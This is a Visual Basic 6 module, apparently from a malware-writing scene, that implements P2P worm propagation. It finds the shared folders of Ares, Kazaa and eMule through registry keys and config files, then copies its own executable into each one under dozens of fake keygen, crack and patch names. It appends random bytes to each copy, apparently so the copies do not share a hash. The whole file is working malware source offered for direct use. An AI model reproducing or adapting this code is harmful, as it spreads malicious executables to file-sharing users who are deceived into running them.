mSpread P2P [Modulo] [Fakedo0r]

Option Explicit
Option Base 1

'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
' MODULO       : mSpread P2P                              |||
' FECHA        : 07/12/2010 22:39                         |||
' AUTOR        : Fakedo0r                                 |||
' CORREO       : [email protected]                        |||
' CREDITOS     : Jhonjhon_123                             |||
' DESCRIPCION  : Propagacion por P2P(Ares, eMule, Kazaa)  |||
' USO          : Call P2P                                 |||
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------

'==============================================================================
' --- APIS
'==============================================================================
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
'==============================================================================
' --- CONSTANTES
'==============================================================================
Private Const REG_SZ = 1
Private Const REG_BINARY = 3

Private Const HKEY_CURRENT_USER = &H80000001
Private Const MAX_PATH As Long = 260
Private Const INVALID_HANDLE_VALUE As Long = -1
Private Const FILE_ATTRIBUTE_DIRECTORY As Long = &H10
'==============================================================================
' --- TIPOS
'==============================================================================
Private Type FILETIME

   dwLowDateTime        As Long
   dwHighDateTime       As Long
   
End Type

Private Type WIN32_FIND_DATA

   dwFileAttributes     As Long
   ftCreationTime       As FILETIME
   ftLastAccessTime     As FILETIME
   ftLastWriteTime      As FILETIME
   nFileSizeHigh        As Long
   nFileSizeLow         As Long
   dwReserved0          As Long
   dwReserved1          As Long
   cFileName            As String * MAX_PATH
   cAlternate           As String * 14
   
End Type
'==============================================================================
' --- FUNCION RECUPERA EL TIPO/LOS DATOS PARA EL NOMBRE DEL VALOR ESPECIFICADO
'==============================================================================
Private Function RegQueryStringValue(ByVal hKey As Long, ByVal strValueName As String) As String
   
    Dim lResult As Long, lValueType As Long, strBuf As String, lDataBufSize As Long
   
    lResult = RegQueryValueEx(hKey, strValueName, 0, lValueType, ByVal 0, lDataBufSize)
   
    If lResult = 0 Then
   
        If lValueType = REG_SZ Then
           
            strBuf = String(lDataBufSize, Chr$(0))
           
            lResult = RegQueryValueEx(hKey, strValueName, 0, 0, ByVal strBuf, lDataBufSize)
           
            If lResult = 0 Then
                RegQueryStringValue = Left$(strBuf, InStr(1, strBuf, Chr$(0)) - 1)
            End If
           
        ElseIf lValueType = REG_BINARY Then
           
            Dim strData As Integer
           
            lResult = RegQueryValueEx(hKey, strValueName, 0, 0, strData, lDataBufSize)
           
            If lResult = 0 Then
                RegQueryStringValue = strData
            End If
           
        End If
       
    End If
   
End Function
'==============================================================================
' --- FUNCION LEER LA CLAVE
'==============================================================================
Private Function GetString(hKey As Long, strPath As String, strValue As String) As String
   
    Dim Ret
   
    RegOpenKey hKey, strPath, Ret
    GetString = RegQueryStringValue(Ret, strValue)
    RegCloseKey Ret
   
End Function
'==============================================================================
' --- FUNCION HEX --> ASCII
'==============================================================================
Private Function HexToAscii(ByVal Text As String) As String
   
    Dim I       As Integer
    Dim Value   As String
    Dim Num     As String
   
    For I = 1 To Len(Text)
        Num = Mid(Text, I, 2)
        Value = Value & Chr(Val("&h" & Num))
        I = I + 1
    Next I
   
    HexToAscii = Value

End Function
'==============================================================================
' --- FUNCION COPIAR
'==============================================================================
Private Function APIFileCopy(src As String, Dest As String, Optional FailIfDestExists As Boolean) As Boolean

    Dim lRet As Long
   
    lRet = CopyFile(src, Dest, FailIfDestExists)
    APIFileCopy = (lRet > 0)

End Function
'==============================================================================
' --- FUNCION RANDOM
'==============================================================================
Public Function Random(a As Integer, b As Integer) As Integer

    Randomize
    Random = Int((a - b + 1) * Rnd + b)

End Function
'==============================================================================
' --- FUNCION COMPROBAR LA RUTA/EL ARCHIVO
'==============================================================================
Private Function FolderExists(sFolder As String, Optional File As Boolean = False) As Boolean

    Dim hFile   As Long
    Dim WFD     As WIN32_FIND_DATA
   
    If Not File Then sFolder = UnQualifyPath(sFolder)
   
    hFile = FindFirstFile(sFolder, WFD)
   
    If Not File Then
        FolderExists = (hFile <> INVALID_HANDLE_VALUE) And _
        (WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY)
    Else
        FolderExists = hFile <> INVALID_HANDLE_VALUE
    End If
   
    Call FindClose(hFile)

End Function

Private Function UnQualifyPath(ByVal sFolder As String) As String
   
   sFolder = Trim$(sFolder)
   
   If Right$(sFolder, 1) = "\" Then
      UnQualifyPath = Left$(sFolder, Len(sFolder) - 1)
   Else
      UnQualifyPath = sFolder
   End If
   
End Function
'==============================================================================
' --- FUNCION OBTENER CONTENIDO *INI
'==============================================================================
Public Function GetIni(Path As String, Name As String, KeyName As String, Default As String)

    Dim Result      As String
    Dim Len_Result  As Long
    
    Result = String(255, Chr(0))
    
    Len_Result = GetPrivateProfileString(Name, KeyName, Default, Result, Len(Result), Path)
    
    GetIni = Left(Result, Len_Result)

End Function
'==============================================================================
' --- FUNCION LLAMAR LA FUNCION P2P
'==============================================================================
Public Function P2P()

    Dim Ares            As String
    Dim Kazaa           As String
    Dim eMulePath       As String
    Dim eMuleShare      As String
    Dim sPath()         As String
    Dim D               As Integer
   
    Dim File            As String
    Dim F_File          As String
    Dim Names()         As String
    Dim I               As Integer
   
    Dim Pump            As String
    Dim KBytes          As String
    Dim X               As Integer
       
    Ares = HexToAscii(GetString(HKEY_CURRENT_USER, "Software\Ares", "Download.Folder"))
    Kazaa = GetString(HKEY_CURRENT_USER, "Software\Kazaa\LocalContent", "DownloadDir") & "\"
    eMulePath = GetString(HKEY_CURRENT_USER, "Software\eMule\", "Install Path") & "\" & "config\"
    eMuleShare = GetIni(eMulePath & "preferences.ini", "eMule", "IncomingDir", Default)
   
    Names = Split("Adobe Acrobat 9 Keygen, Adobe Photoshop CS4 Keygen, Adobe Photoshop CS5 Keygen" & _
      "Adobe Photoshop CS5 Extended Keygen, Adobe Photoshop Elements 9.0 Keygen" & _
      "Aiseesoft DVD Ripper 5.0.22-Lz0 Keygen,Aiseesoft Total Video Converter (v5.1.1.10) Keygen" & _
      "Akvis ArtSuite 6.5.2121 Keygen,WinRAR 3.93 Keygen,Virtual DJ Home 7.0 Keygen" & _
      "Alcohol 120% 1.9.8.7612,Alcohol 120% 2.0.1.2033,AnyDVD HD 6.6.0.3 Keygen" & _
      "Patch Windows 7,Aqualux Deluxe Keygen,Microsoft Office 2007 Professional Keygen " & _
      "Malwarebytes Anti-Malware Keygen,Ashampoo Burning Studio Keygen,Ashampoo Movie Menu Keygen" & _
      "Assasins Creed 2 (2010),Ashampoo Snap 4 4.1 Keygen,TuneUp Utilities Keygen ,Audio Edit Magic 7.6.0.34 Keygen" & _
      "Auto Hide IP Keygen,Autodesk AutoCAD 2010 Keygen,Autodesk Mudbox 2011 (x64)Keygen,Autodesk Maya Unlimited 2011" & _
      "Autodesk Sketchbook Designer 2011 Keygen,Internet Download Manager 5.19 Keygen,AV Voice Changer Gold 7.0.22" & _
      "Avast AntiVirus 4 8,Avast Internet Security 5.0.545 Keygen,Avast! Pro Antivirus 5.0.677 Keygen" & _
      "Nero 9 Reloaded (9.4.26.0,AVG Anti-Virus Free Edition 2011,AVG Anti-Virus Pro 9.0 Keygen" & _
      "AVG Internet Security 2011 Keygen,Kaspersky All version Activation Key" & _
      "AVG PC Tuneup 2011 10.0.0.20,Hex Workshop v6 Keygen,HyperCam 2 Full Keygen" & _
      "Avira AntiVir Premium 10.0.0.601 Keygen,Nero Multimedia Suite 10.0.13200 Keygen" & _
      "Award Keylogger 1.30 (x86-x64),Backgammon HD 1.4.0 (iPhone),Battlefield 2 (2010)" & _
      "BitTorrent 7.1.22502 (Portable),Blu-ray to DVD II Pro 2.80 Keygen,Call of Duty Patch" & _
      "Call of Duty 4 Modern Warfare Patch,Call of Juarez Bound In Blood Patch,Camtasia Studio 7.1.0.1631" & _
      "Convert Genius 3.6.0.36 Keygen,WinZip 14.0.8708  Keygen,CorelDraw 10.412" & _
      "CorelDRAW 10 10.410 Keygen,CorelDraw Graphics Suite X3 Keygen,Counter Strike 1.6" & _
      "Counter Strike 1.6 Non Steam Patch,Counter Strike Source Patch,Kaspersky Internet Security Keygen", ",")
   
    File = App.Path & "\" & App.EXEName & ".exe"
           
    sPath = Split(Ares & vbCrLf & Kazaa & vbCrLf & eMuleShare, vbCrLf)

    For D = 0 To UBound(sPath)
           
        If Not FolderExists(sPath(D)) Then GoTo Fin

        For I = 0 To UBound(Names)
                   
            F_File = sPath(D) & "\" & Trim(Names(I)) & ".exe"
           
            If FolderExists(F_File, True) Then GoTo Fin2

            If File <> F_File Then
               
                Call APIFileCopy(File, F_File)
               
                For X = 1 To 10
                    Pump = Pump & String(1, Chr(Random(0, 255)))
                Next
           
                Open F_File For Binary As #1
                    Put #1, LOF(1) + 1, Pump
                Close #1
               
            End If
            
Fin2:
        
        Next I

Fin:
       
    Next D

End Function